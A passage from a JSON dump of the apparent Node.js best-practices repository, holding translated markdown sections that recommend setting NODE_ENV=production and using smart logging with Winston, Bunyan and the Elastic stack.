    "content": "# Définissez NODE_ENV = production\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nLes variables d'environnement de processus sont un ensemble de paires de clé-valeur mises à la disposition de tout programme en cours d'exécution, généralement à des fins de configuration. Bien que toutes les variables puissent être utilisées, Node encourage d'utiliser par convention une variable appelée NODE_ENV pour signaler si nous sommes en production en ce moment. Cette indication permet aux composants de fournir de meilleurs diagnostics pendant le développement, par exemple en désactivant la mise en cache ou en diffusant des déclarations verbeuses dans le journal. Tout outil de déploiement moderne (Chef, Puppet, CloudFormation, autres) permet de définir des variables d'environnement pendant le déploiement.\n\n<br/><br/>\n\n### Exemple de code : définition et lecture de la variable d'environnement NODE_ENV\n\n```shell script\n// Définition des variables d environnement en bash avant de lancer le processus node\n$ NODE_ENV=development\n$ node\n```\n\n```javascript\n// Lecture de la variable d'environnement à l'aide d'un code\nif (process.env.NODE_ENV === 'production')\n    useCaching = true;\n```\n\n<br/><br/>\n\n### Ce que disent les autres blogueurs\n\nExtrait du blog de [dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/) :\n> ...Dans Node.js, il y a une convention pour définir le mode actuel, c'est d'utiliser une variable appelée NODE_ENV. Nous constatons qu'en fait, il lit NODE_ENV et se met par défaut en « development » si elle n'est pas définie. Nous voyons clairement qu'en définissant NODE_ENV sur production, le nombre de requêtes que Node.js peut traiter augmente d'environ deux tiers alors que l'utilisation du CPU diminue même légèrement. *Permettez-moi d'insister sur ce point : en mettant NODE_ENV sur production, votre application est 3 fois plus rapide !*\n\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/setnodeenv.japanese.md",
    "content": "# NODE_ENV = production を設定する\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nプロセス環境変数は、実行中のプログラムで利用できるキーと値のペアのセットで、通常は設定の目的で利用できます。任意の変数を使うことができますが、Node は NODE_ENV と呼ばれる変数を使って、現在本番環境であるかどうかのフラグを立てる慣習を推奨しています。この決定により、コンポーネントは開発中にキャッシングを無効にしたり、冗長なログ文を出力したりするなど、より良い診断を提供することができます。Chef、Puppet、CloudFormation、その他の最新のデプロイツールは、デプロイ時に環境変数を設定することをサポートしています。\r\n\r\n<br/><br/>\r\n\r\n### コード例: 環境変数 NODE_ENV の設定と読み込み\r\n\r\n```shell script\r\n// ノードプロセスを起動する前に bash で環境変数を設定する\r\n$ NODE_ENV=development\r\n$ node\r\n```\r\n\r\n```javascript\r\n// コードを使って環境変数を読み込む\r\nif (process.env.NODE_ENV === 'production')\r\n    useCaching = true;\r\n```\r\n\r\n<br/><br/>\r\n\r\n### 他のブロガーが言っていること\r\n\r\nブログ [dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/) より:\r\n> ...Node.js では、現在のモードを設定するために node_env という変数を使用する慣習があります。実際には NODE_ENV を読み込んで、設定されていない場合は「development」にデフォルトで設定されていることがわかります。NODE_ENV を本番環境に設定することで、Node.js が処理できるリクエスト数が約3分の2に跳ね上がり、CPU の使用率はわずかに低下することが明らかになっています。*これだけは強調しておきます: NODE_ENV を本番環境に設定すると、アプリケーションが3倍速くなります！*\r\n\r\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/setnodeenv.korean.md",
    "content": "# Set NODE_ENV = production\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nProcess environment variables is a set of key-value pairs made available to any running program, usually for configuration purposes. Though any variables can be used, Node encourages the convention of using a variable called NODE_ENV to flag whether we’re in production right now. This determination allows components to provide better diagnostics during development, for example by disabling caching or emitting verbose log statements. Any modern deployment tool – Chef, Puppet, CloudFormation, others – support setting environment variables during deployment\r\n\r\n<br/><br/>\r\n\r\n### Code example: Setting and reading the NODE_ENV environment variable\r\n\r\n```javascript\r\n// Setting environment variables in bash before starting the node process\r\n$ NODE_ENV=development\r\n$ node\r\n\r\n// Reading the environment variable using code\r\nif (process.env.NODE_ENV === “production”)\r\n    useCaching = true;\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/):\r\n> ...In Node.js there is a convention to use a variable called NODE_ENV to set the current mode. We see that it, in fact, reads NODE_ENV and defaults to ‘development’ if it isn’t set. We clearly see that by setting NODE_ENV to production the number of requests Node.js can handle jumps by around two-thirds while the CPU usage even drops slightly. *Let me emphasize this: Setting NODE_ENV to production makes your application 3 times faster!*\r\n\r\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/setnodeenv.md",
    "content": "# Set NODE_ENV = production\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nProcess environment variables is a set of key-value pairs made available to any running program, usually for configuration purposes. Though any variables can be used, Node encourages the convention of using a variable called NODE_ENV to flag whether we’re in production right now. This determination allows components to provide better diagnostics during development, for example by disabling caching or emitting verbose log statements. Any modern deployment tool – Chef, Puppet, CloudFormation, others – support setting environment variables during deployment\r\n\r\n<br/><br/>\r\n\r\n### Code example: Setting and reading the NODE_ENV environment variable\r\n\r\n```shell script\r\n// Setting environment variables in bash before starting the node process\r\n$ NODE_ENV=development\r\n$ node\r\n```\r\n\r\n```javascript\r\n// Reading the environment variable using code\r\nif (process.env.NODE_ENV === 'production')\r\n    useCaching = true;\r\n```\r\n\r\n<br/><br/>\r\n\r\n### What Other Bloggers Say\r\n\r\nFrom the blog [dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/):\r\n> ...In Node.js there is a convention to use a variable called NODE_ENV to set the current mode. We see that it, in fact, reads NODE_ENV and defaults to ‘development’ if it isn’t set. We clearly see that by setting NODE_ENV to production the number of requests Node.js can handle jumps by around two-thirds while the CPU usage even drops slightly. *Let me emphasize this: Setting NODE_ENV to production makes your application 3 times faster!*\r\n\r\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\r\n\r\n<br/><br/>\r\n\r\n\r\nFrom the Synk blog [10 best practices to containerize Node.js web applications with Docker](https://snyk.io/blog/10-best-practices-to-containerize-nodejs-web-applications-with-docker/#:~:text=Some%20frameworks%20and,As%20an%20example):\r\n> ...Some frameworks and libraries may only turn on the optimized configuration that is suited to production if that NODE_ENV environment variable is set to production. Putting aside our opinion on whether this is a good or bad practice for frameworks to take, it is important to know this.\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/setnodeenv.polish.md",
    "content": "# Ustaw NODE_ENV = production\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nProcesowe zmienne środowiskowe to zestaw par klucz-wartość udostępniony dowolnemu działającemu programowi, zwykle w celach konfiguracyjnych. Mimo że można używać dowolnych zmiennych, Node zachęca do korzystania ze zmiennej o nazwie NODE_ENV w celu oznaczenia, czy obecnie jesteśmy w produkcji. To określenie umożliwia komponentom lepszą diagnostykę podczas programowania, na przykład poprzez wyłączenie buforowania lub wysyłanie pełnych instrukcji dziennika. Każde nowoczesne narzędzie do wdrażania - Chef, Puppet, CloudFormation i inne - obsługuje ustawianie zmiennych środowiskowych podczas wdrażania\n\n<br/><br/>\n\n### Przykład kodu: ustawianie i odczytywanie zmiennej środowiskowej NODE_ENV\n\n```shell script\n// Setting environment variables in bash before starting the node process\n$ NODE_ENV=development\n$ node\n```\n\n```javascript\n// Reading the environment variable using code\nif (process.env.NODE_ENV === 'production')\n    useCaching = true;\n```\n\n<br/><br/>\n\n### Co mówią inni blogerzy\n\nZ bloga [dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/):\n> ...In Node.js there is a convention to use a variable called NODE_ENV to set the current mode. We see that it, in fact, reads NODE_ENV and defaults to ‘development’ if it isn’t set. We clearly see that by setting NODE_ENV to production the number of requests Node.js can handle jumps by around two-thirds while the CPU usage even drops slightly. *Let me emphasize this: Setting NODE_ENV to production makes your application 3 times faster!*\n\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/setnodeenv.russian.md",
    "content": "# Установите NODE_ENV = production\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nПеременные среды - это набор пар ключ-значение, предоставляемых любой работающей программе, обычно для целей конфигурации. Хотя могут использоваться любые переменные, Node поощряет соглашение об использовании переменной с именем NODE_ENV, чтобы указать, находимся ли мы в данный момент в производстве. Это определение позволяет компонентам обеспечивать лучшую диагностику во время разработки, например, путем отключения кэширования или выдачи подробных операторов журнала. Любой современный инструмент развертывания - Chef, Puppet, CloudFormation и другие - поддерживает настройку переменных среды во время развертывания.\r\n\r\n<br/><br/>\r\n\r\n### Пример кода: установка и чтение переменной среды NODE_ENV\r\n\r\n```shell script\r\n// Setting environment variables in bash before starting the node process\r\n$ NODE_ENV=development\r\n$ node\r\n```\r\n\r\n```javascript\r\n// Reading the environment variable using code\r\nif (process.env.NODE_ENV === 'production')\r\n    useCaching = true;\r\n```\r\n\r\n<br/><br/>\r\n\r\n### Что говорят другие блоггеры\r\n\r\nИз блога [dynatrace](https://www.dynatrace.com/blog/the-drastic-effects-of-omitting-node_env-in-your-express-js-applications/):\r\n> ... В Node.js существует соглашение об использовании переменной NODE_ENV для установки текущего режима. Мы видим, что на самом деле он читает NODE_ENV и по умолчанию принимает значение \"development\", если он не установлен. Мы ясно видим, что установив NODE_ENV в рабочее состояние, количество запросов Node.js может обрабатывать скачки примерно на две трети, в то время как загрузка ЦП даже немного падает. *Позвольте мне подчеркнуть это: установка NODE_ENV в рабочий режим делает ваше приложение в 3 раза быстрее!*\r\n\r\n![NODE_ENV=production](../../assets/images/setnodeenv1.png \"NODE_ENV=production\")\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/smartlogging.basque.md",
    "content": "# Gardentasuna handitu erregistratze plataforma adimendunak erabiliz\r\n\r\n<br/><br/>\r\n\r\n### Azalpena\r\n\r\nErregistroen adierazpenak inprimatzen dituzu eta, jakina, produkzioari buruzko informazioa biltzen duen interfazearen beharra duzu, erroreen eta oinarrizko metriken jarraipena egiteko (adibidez, zenbat errore gertatzen diren orduoro eta zein den APIaren amaierako puntu motelena). Hori horrela izanik, zergatik ez duzu ahalegin neurritsua egiten laukitxo guztiak markatuko dituen erregistro esparru sendo batean? Hori lortzeko, gogoeta egin eta erabakia hiru urratsetan hartu behar duzu:\r\n\r\n**1. Erregistro adimenduna:** gutxi-gutxienez [Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan) bezalako erregistro liburutegi entzutetsuren bat erabili behar duzu eta transakzio bakoitzaren hasieran eta amaieran informazio esanguratsua idatzi. Pentsatu ez ote den komeni, eragiketa taldeak eremu horietan jardun dezan, erregistro adierazpenak JSON gisa formateatzea eta testuinguruaren propietate guztiak eskaintzea (adibidez, erabiltzailearen IDa, eragiketa mota, etab.). Sartu transakzio ID bakarra erregistro lerro bakoitzean. Informazio gehiago nahi izanez gero, idatzi \"Idatzi transakzio id-a erregistroan\" azpian dagoen bulletean. Azkenik, kontuan hartu behar da ez ote den komeni sistemaren baliabideak erregistratuko dituen eragileren bat (memoria, adibidez) eta PUZa (Elastic Beat, esaterako) sartzea.\r\n\r\n**2. Agregazio adimenduna:** zure zerbitzariaren fitxategi sisteman informazio zabala eskuratu duzunean, garaia da aldizka datu horiek agregatu, erraztu eta bistaratzen dituen sistema batera bultzatzeko. Pila elastikoa, adibidez, oso aukera popularra eta ezaguna da, datuak bildu eta bistaratzeko osagai guztiak eskaintzen dituena. Produktu komertzial askok antzeko funtzionalitatea eskaintzen dute, baina konfigurazio denbora asko murrizten dute eta ez dute ostatatu beharrik.\r\n\r\n**3. Bistaratze adimenduna:** orain informazioa batu eta bila daiteke; bat pozik egon daiteke erregistroak erraz bilatzeko ahalmena duelako bakarrik; baina hori askoz ere gehiago lor daiteke kodetu beharrik izan gabe edo ahalegin handirik egin gabe. Orain metrika operatibo garrantzitsuak erakusteko moduan gaude: hala nola, errore tasa, batez besteko PUZa egunean zehar, zenbat erabiltzaile berri sartu diren azken orduan eta gure aplikazioa gobernatzen eta hobetzen laguntzen duen beste edozein metrika.\r\n\r\n<br/><br/>\r\n\r\n### Bistaratze adibidea: Kibana-k (Elastic stack-en zati bat) erregistroen edukian bilaketa aurreratua errazten du\r\n\r\n![Kibana-k (Elastic stack-en zati bat) erregistroen edukian bilaketa aurreratua errazten du](../../assets/images/smartlogging1.png \"Kibana-k (Elastic stack-en zati bat) erregistroen edukian bilaketa aurreratua errazten du\")\r\n\r\n<br/><br/>\r\n\r\n### Bistaratze adibidea: Kibana-k (Elastic stack-eko zati bat) erregistroetan oinarritutako datuak bistaratzen ditu\r\n\r\n![Kibana-k (Elastic stack-eko zati bat) erregistroetan oinarritutako datuak bistaratzen ditu](../../assets/images/smartlogging2.jpg \"Kibana-k (Elastic stack-eko zati bat) erregistroetan oinarritutako datuak bistaratzen ditu\")\r\n\r\n<br/><br/>\r\n\r\n### Blogeko aipua: erregistroaren eskakizunak\r\n\r\n[Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/) bloga\r\n\r\n> Hona hemen jarraibide batzuk (erregistratzaile batentzat):\r\n>\r\n> 1.  Erregistro lerro bakoitzeko denbora marka. Hau nahiko argia da, erregistro sarrera bakoitza noiz gertatu den jakin beharko zenuke.\r\n> 2.  Gizakiek nahiz makinek erraz uler dezakete Erregistro formatua.\r\n> 3.  Konfiguragarriak diren hainbat helmuga fluxu izateko aukera ematen du. Adibidez, erroreren bat gertatzen bada jarraipen erregistroak idazten ari zarenean fitxategi batean, lehenengo idatzi fitxategi horretan eta gero errore fitxategian, eta bidali mezu elektronikoa aldi berean ...\r\n\r\n<br/><br/>\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/smartlogging.brazilian-portuguese.md",
    "content": "# Aumente a transparência usando smart logging\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nJá que você imprime declarações de log de qualquer maneira e obviamente precisa de alguma interface que envolva informações de produção nas quais possa rastrear erros e métricas principais (por exemplo, quantos erros ocorrem a cada hora e qual é o ponto final da API mais lento) por que não investir algum esforço em uma estrutura de registro robusta que satisfará todos requisitos? Conseguir isso requer uma decisão ponderada em três etapas:\r\n\r\n**1. logging inteligente** – no mínimo, você precisa usar uma biblioteca de registro respeitável como [Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan) e escreva informações significativas em cada início e fim de transação. Considere também formatar instruções de log como JSON e fornecer todas as propriedades contextuais (por exemplo, ID de usuário, tipo de operação, etc.) para que a equipe de operações possa atuar nesses campos. Inclua também um ID de transação exclusivo em cada linha de registro. Para obter mais informações, consulte o marcador abaixo \"Escrever ID de transação para registrar\". Um último ponto a considerar também é incluir um agente que registre os recursos do sistema, como memória e CPU, por exemplo o Elastic Beat.\r\n\r\n**2. agregação inteligente** – depois de obter informações abrangentes sobre o sistema de arquivos dos servidores, é hora de enviá-las periodicamente para um sistema que agrega, facilita e visualiza esses dados. O stack Elastic, por exemplo, é uma escolha popular e gratuita que oferece todos os componentes para agregar e visualizar dados. Muitos produtos comerciais fornecem funcionalidade semelhante apenas reduzem significativamente o tempo de configuração e não requerem hospedagem.\r\n\r\n**3. visualização inteligente** – agora as informações são agregadas e pesquisáveis, uma pessoa pode ficar satisfeita apenas com o poder de pesquisar facilmente os logs, mas isso pode ir muito além sem codificar ou gastar muito esforço. Agora, podemos mostrar métricas operacionais importantes, como taxa de erros, CPU média ao longo do dia, quantos novos usuários optaram por participar na última hora e qualquer outra métrica que ajude a gerenciar e melhorar nossa aplicação.\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de visualização: Kibana (parte do stack Elastic) facilita a pesquisa avançada no conteúdo do log\r\n\r\n![Kibana facilita a pesquisa avançada no conteúdo do log](../../assets/images/smartlogging1.png \"Kibana facilita a pesquisa avançada no conteúdo do log\")\r\n\r\n<br/><br/>\r\n\r\n### Exemplo de visualização: Kibana (parte do stack Elastic) visualiza dados com base em logs\r\n\r\n![Kibana visualiza dados com base em logs](../../assets/images/smartlogging2.jpg \"Kibana visualiza dados com base em logs\")\r\n\r\n<br/><br/>\r\n\r\n### Citações de Blog: Requisitos do Logger\r\n\r\nDo blog [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/):\r\n\r\n> Vamos identificar alguns requisitos (para um logger):\r\n> 1. Carimbo de data/hora de cada linha de log. Este é bastante auto-explicativo - você deve ser capaz de dizer quando cada entrada de log ocorreu.\r\n> 2. Formato de registro deve ser facilmente entendido por seres humanos, bem como máquinas.\r\n> 3. Permite múltiplos fluxos de destino configuráveis. Por exemplo, você pode estar gravando logs de rastreio em um arquivo, mas quando um erro é encontrado, grava no mesmo arquivo, depois no arquivo de erro e envia um email ao mesmo tempo…\r\n\r\n<br/><br/>\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/smartlogging.chinese.md",
    "content": "# 使用智能日志使你的应用程序变得清晰\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n\r\n无论如何，您要打印日志，而且需要一些可以在其中跟踪错误和核心指标的接口来展示生产环境信息（例如，每小时发生了多少错误，最慢的API节点是哪一个）为什么不在健壮的日志框架中进行一些适度的尝试呢? 要实现这一目标，需要在三个步骤上做出深思熟虑的决定:\r\n\r\n**1. 智能日志** – 在最基本的情况下，您需要使用像[Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan)这样有信誉的日志库，在每个事务开始和结束时输出有意义的信息。还可以考虑将日志语句格式化为JSON，并提供所有上下文属性（如用户id、操作类型等）。这样运维团队就可以在这些字段上操作。在每个日志行中包含一个唯一的transaction ID，更多的信息查阅条款 “Write transaction-id to log”。最后要考虑的一点还包括一个代理，它记录系统资源，如内存和CPU，比如Elastic Beat。\r\n\r\n**2. 智能聚合** – 一旦您在服务器文件系统中有了全面的信息，就应该定期将这些信息推送到一个可以聚合、处理和可视化数据的系统中。例如，Elastic stack是一种流行的、自由的选择，它提供所有组件去聚合和产生可视化数据。许多商业产品提供了类似的功能，只是它们大大减少了安装时间，不需要主机托管。\r\n\r\n**3. 智能可视化** – 现在的信息是聚合和可搜索的, 一个可以满足仅仅方便地搜索日志的能力, 可以走得更远, 没有编码或花费太多的努力。我们现在可以显示一些重要的操作指标, 如错误率、平均一天CPU使用, 在过去一小时内有多少新用户选择, 以及任何其他有助于管理和改进我们应用程序的指标。\r\n\r\n<br/><br/>\r\n\r\n\r\n### 可视化示例: Kibana(Elastic stack的一部分)促进了对日志内容的高级搜索\r\n![Kibana facilitates advanced searching on log content](../../assets/images/smartlogging1.png \"Kibana facilitates advanced searching on log content\")\r\n\r\n<br/><br/>\r\n\r\n### 可视化示例: Kibana(Elastic stack的一部分)基于日志来可视化数据\r\n![Kibana visualizes data based on logs](../../assets/images/smartlogging2.jpg \"Kibana visualizes data based on logs\")\r\n\r\n<br/><br/>\r\n\r\n### 博客应用: Logger的需求\r\n摘自博客 [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/):\r\n\r\n> 让我们识别一些需求（对于一个日志记录器来说）：\r\n> 1. 每条日志对应一个时间戳。这个很好解释 – 您应该能够判断每个日志条目出现的时间。\r\n> 2. 日志格式应该很容易被人和机器消化理解。\r\n> 3. 允许多个可配置的目标流。例如，您可能在一个文件中写入trace日志，但是当遇到错误时，将其写入相同的文件，然后写入错误日志文件并同时发送电子邮件...\r\n <br/><br/>\r\n \r\n\r\n \r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/smartlogging.french.md",
    "content": "# Rendez votre application plus claire à l'aide de journaux intelligents\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nPuisque vous produisez de toute façon des relevés de log et que vous avez manifestement besoin d'une interface qui regroupe les informations de production et qui vous permette de suivre les erreurs et les mesures de base (par exemple, combien d'erreurs se produisent chaque heure ? Quel est le point de terminaison de votre API le plus lent ?), pourquoi ne pas investir un effort modéré dans un framework robuste de log qui cochera toutes les cases ? Pour y parvenir, il faut prendre une décision réfléchie en trois étapes :\n\n**1. enregistrement intelligent** – au minimum, vous devez utiliser une bibliothèque de journalisation réputée comme [Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan) et écrire des informations significatives à chaque début et fin de transaction. Pensez également à formater les relevés du journal en JSON et à fournir toutes les propriétés contextuelles (par exemple, l'ID utilisateur, le type d'opération, etc.) afin que l'équipe d'exploitation puisse agir sur ces champs. Incluez également un ID de transaction unique sur chaque ligne de journal, pour plus d'informations, reportez-vous à l'un des points suivants « Attribuez un ID de transaction à chaque relevé du journal ». Un dernier point à considérer, c'est également d'inclure un agent qui enregistre les ressources système de la mémoire et du processeur comme Elastic Beat.\n\n**2. agrégation intelligente** – une fois que vous disposez d'informations complètes sur le système de fichiers de votre serveur, il est temps de les pousser périodiquement vers un système qui agrège, facilite et visualise ces données. Elastic stack, par exemple, est un choix populaire et gratuit qui offre tous les composants pour agréger et visualiser les données. De nombreux produits commerciaux offrent des fonctionnalités similaires, mais ils réduisent considérablement le temps d'installation et ne nécessitent pas d'hébergement.\n\n**3. visualisation intelligente** – maintenant que l'information est agrégée et consultable, on ne peut être que satisfait de la puissance d'une recherche facile dans les logs mais cela peut aller beaucoup plus loin sans codage ni effort. Nous pouvons maintenant afficher d'importantes mesures opérationnelles comme le taux d'erreur, le CPU moyen au cours de la journée, le nombre de nouveaux utilisateurs qui se sont inscrits au cours de la dernière heure et toute autre mesure qui aide à gérer et à améliorer notre application.\n\n<br/><br/>\n\n### Exemple de visualisation : Kibana (faisant partie de Elastic stack) facilite la recherche avancée sur le contenu des journaux\n\n![Kibana facilite la recherche avancée sur le contenu des journaux](../../assets/images/smartlogging1.png \"Kibana facilite la recherche avancée sur le contenu des journaux\")\n\n<br/><br/>\n\n### Exemple de visualisation : Kibana (qui fait partie de Elastic stack) visualise les données sur la base des journaux\n\n![Kibana visualise les données sur la base des journaux](../../assets/images/smartlogging2.jpg \"Kibana visualise les données sur la base des journaux\")\n\n<br/><br/>\n\n### Citation de blog : « Exigences pour un enregistreur de journal »\n\nExtrait du blog [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/) :\n\n> Permet d'identifier quelques exigences (pour un outil de journalisation) :\n1. Chaque ligne du journal est horodatée. Celle-ci est assez explicite - vous devriez pouvoir dire quand chaque entrée du journal s'est produite.\n2. Le format d'enregistrement doit être facilement assimilable par les humains ainsi que par les machines.\n3. Permet plusieurs flux de destination configurables. Par exemple, vous pouvez écrire des journaux de trace dans un fichier, mais lorsqu'une erreur se produit, cela écrit dans le même fichier, puis dans le fichier d'erreur et envoi un e-mail en même temps…\n\n<br/><br/>\n\n<br/><br/>\n"
  },
  {
    "path": "sections/production/smartlogging.japanese.md",
    "content": "# スマートログを使ってアプリを透明にする\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\nどちらにしろログステートメントを出力しているのだから、エラーやコアメトリクスをトレースできるような本番環境の情報をラップアップするインタフェースが必要なのは明らかです (例えば、毎時何個のエラーが発生しているか、最も遅いAPIエンドポイントはどれかなど)。すべてのボックスをチェックする堅牢なロギングフレームワークに適度な努力を投資してはどうでしょうか？ これを実現するためには、3つのステップについて熟考した上での決断が必要です。\r\n\r\n**1. スマートロギング** – 最低限、[Winston](https://github.com/winstonjs/winston)、[Bunyan](https://github.com/trentm/node-bunyan) のような評判の良いロギングライブラリを使用し、各トランザクションの開始と終了時に意味のある情報を書く必要があります。また、ログステートメントを JSON としてフォーマットし、すべてのコンテキストプロパティ（ユーザーID、操作タイプなど）を提供して、運用チームがそれらのフィールドを操作できるようにすることを検討してください。また、各ログ行に一意のトランザクションIDを含めてください。詳細については、以下の「トランザクションIDをログに書き込む」を参照してください。最後に考慮すべき点として、Elastic Beat のようにメモリや CPU のようなシステムリソースをログに記録するエージェントも含まれています。\r\n\r\n**2. スマートアグリゲーション** – サーバーのファイルシステムに関する包括的な情報を入手したら、定期的にこれらのデータを集約し、容易にし、可視化するシステムにプッシュしてください。 例えば、Elastic stack は、データを集約して可視化するためのすべてのコンポーネントを提供する、人気のある無料の選択肢です。多くの商用製品が同様の機能を提供していますが、それらはセットアップ時間を大幅に削減し、ホスティングを必要としません。\r\n\r\n**3. スマートビジュアライゼーション** – 情報が集約され、検索可能になった今、ログを簡単に検索できる力だけで満足することができますが、これはコーディングや労力をかけずにはるかに先に進むことができます。 エラー率、1日の平均 CPU、最後の1時間にオプトインした新規ユーザーの数など、重要な運用上の指標を表示することができ、アプリの管理と改善に役立つその他の指標を表示することができます。\r\n\r\n<br/><br/>\r\n\r\n### 可視化の例: Kibana (Elastic stack の一部) はログコンテンツの高度な検索を容易にします\r\n\r\n![Kibana はログコンテンツの高度な検索を容易にします](../../assets/images/smartlogging1.png \"Kibana はログコンテンツの高度な検索を容易にします\")\r\n\r\n<br/><br/>\r\n\r\n### 可視化の例: Kibana (Elastic stack の一部) はログに基づいてデータを可視化します\r\n\r\n![Kibana はログを元にデータを可視化する](../../assets/images/smartlogging2.jpg \"Kibana はログを元にデータを可視化する\")\r\n\r\n<br/><br/>\r\n\r\n### ブログ引用: ロガーの要件\r\n\r\nブログ [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/) より:\r\n\r\n> いくつかの（ロガーのための）要件を確認してみましょう:\r\n> 1. 各ログ行にタイムスタンプを付けます。これは非常にわかりやすいものです - 各ログエントリがいつ発生したかがわかるはずです。\r\n> 2. ロギングのフォーマットは、機械だけでなく人間にも分かりやすいものでなければなりません。\r\n> 3. 複数の設定可能な送信先ストリームを許可します。例えば、トレースログを一つのファイルに書き込んでいるが、エラーが発生したときに同じファイルに書き込んで、次にエラーファイルに書き込んで、同時に電子メールを送信する...といった具合です。\r\n\r\n<br/><br/>\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/smartlogging.korean.md",
    "content": "# Make your app transparent using smart logs\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nSince you print out log statements anyway and you're obviously in a need of some interface that wraps up production information where you can trace errors and core metrics (e.g. how many errors happen every hour and which is your slowest API end-point) why not invest some moderate effort in a robust logging framework that will tick all boxes? Achieving that requires a thoughtful decision on three steps:\r\n\r\n**1. smart logging** – at the bare minimum you need to use a reputable logging library like [Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan) and write meaningful information at each transaction start and end. Consider to also format log statements as JSON and provide all the contextual properties (e.g. user id, operation type, etc) so that the operations team can act on those fields. Include also a unique transaction ID at each log line, for more information refer to the bullet below “Write transaction-id to log”. One last point to consider is also including an agent that logs the system resource like memory and CPU like Elastic Beat.\r\n\r\n**2. smart aggregation** – once you have comprehensive information on your servers file system, it’s time to periodically push these to a system that aggregates, facilities and visualizes this data. The Elastic stack, for example, is a popular and free choice that offers all the components to aggregate and visualize data. Many commercial products provide similar functionality only they greatly cut down the setup time and require no hosting.\r\n\r\n**3. smart visualization** – now the information is aggregated and searchable, one can be satisfied only with the power of easily searching the logs but this can go much further without coding or spending much effort. We can now show important operational metrics like error rate, average CPU throughout the day, how many new users opted-in in the last hour and any other metric that helps to govern and improve our app\r\n\r\n<br/><br/>\r\n\r\n### Visualization Example: Kibana (part of the Elastic stack) facilitates advanced searching on log content\r\n\r\n![Kibana facilitates advanced searching on log content](../../assets/images/smartlogging1.png \"Kibana facilitates advanced searching on log content\")\r\n\r\n<br/><br/>\r\n\r\n### Visualization Example: Kibana (part of the Elastic stack) visualizes data based on logs\r\n\r\n![Kibana visualizes data based on logs](../../assets/images/smartlogging2.jpg \"Kibana visualizes data based on logs\")\r\n\r\n<br/><br/>\r\n\r\n### Blog Quote: Logger Requirements\r\n\r\nFrom the blog [Strong Loop](https://strongloop.com/strongblog/compare-node-js-logging-winston-bunyan/):\r\n\r\n> Lets identify a few requirements (for a logger):\r\n> 1. Timestamp each log line. This one is pretty self-explanatory – you should be able to tell when each log entry occurred.\r\n> 2. Logging format should be easily digestible by humans as well as machines.\r\n> 3. Allows for multiple configurable destination streams. For example, you might be writing trace logs to one file but when an error is encountered, write to the same file, then into error file and send an email at the same time…\r\n\r\n<br/><br/>\r\n\r\n<br/><br/>\r\n"
  },
  {
    "path": "sections/production/smartlogging.md",
    "content": "# Make your app transparent using smart logs\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nSince you print out log statements anyway and you're obviously in a need of some interface that wraps up production information where you can trace errors and core metrics (e.g. how many errors happen every hour and which is your slowest API end-point) why not invest some moderate effort in a robust logging framework that will tick all boxes? Achieving that requires a thoughtful decision on three steps:\r\n\r\n**1. smart logging** – at the bare minimum you need to use a reputable logging library like [Winston](https://github.com/winstonjs/winston), [Bunyan](https://github.com/trentm/node-bunyan) and write meaningful information at each transaction start and end. Consider to also format log statements as JSON and provide all the contextual properties (e.g. user id, operation type, etc) so that the operations team can act on those fields. Include also a unique transaction ID at each log line, for more information refer to the bullet below “Write transaction-id to log”. One last point to consider is also including an agent that logs the system resource like memory and CPU like Elastic Beat.\r\n\r\n**2. smart aggregation** – once you have comprehensive information on your server's file system, it’s time to periodically push these to a system that aggregates, facilitates and visualizes this data. The Elastic stack, for example, is a popular and free choice that offers all the components to 